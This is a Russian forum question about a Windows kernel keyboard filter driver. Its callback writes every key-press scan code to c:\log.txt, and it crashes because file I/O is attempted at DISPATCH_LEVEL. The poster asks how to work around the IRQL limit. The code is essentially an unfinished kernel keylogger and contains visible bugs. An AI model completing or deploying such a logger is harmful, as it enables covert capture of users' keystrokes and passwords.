Вылетает на нажатие клавиши:
#define NT_FILE_NAME L"\\??\\c:\\log.txt"
VOID
KbFilter_ServiceCallback(
IN PDEVICE_OBJECT DeviceObject,
IN PKEYBOARD_INPUT_DATA InputDataStart,
IN PKEYBOARD_INPUT_DATA InputDataEnd,
IN OUT PULONG InputDataConsumed
)
{
PDEVICE_EXTENSION devExt;
OBJECT_ATTRIBUTES oa;
IO_STATUS_BLOCK iosb;
HANDLE hFile;
UNICODE_STRING g_usFileName;
devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
(*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(
devExt->UpperConnectData.ClassDeviceObject,
InputDataStart,
InputDataEnd,
InputDataConsumed);
if (InputDataStart->Flags==KEY_MAKE)
{
RtlInitUnicodeString(&g_usFileName,NT_FILE_NAME);
InitializeObjectAttributes(&oa,&g_usFileName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,NULL);
if (ZwOpenFile(&hFile,FILE_APPEND_DATA|SYNCHRONIZE,&oa,&iosb,
FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT)==STATUS_SUCCESS)
{
if (ZwWriteFile(&hFile,0,NULL,NULL,&iosb,
&InputDataStart->MakeCode,4,NULL,NULL)==STATUS_SUCCESS);
ZwClose(hFile);
}
}
}
В чем ошибка? или работу с файлами из этой функции вызывать нельзя?
KbFilter_ServiceCallback runs in kernel mode at IRQL DISPATCH_LEVEL.
Callers of ZwOpenFile must be running at IRQL = PASSIVE_LEVEL.
Похоже проблема в этом....Каким образом можно это обойти.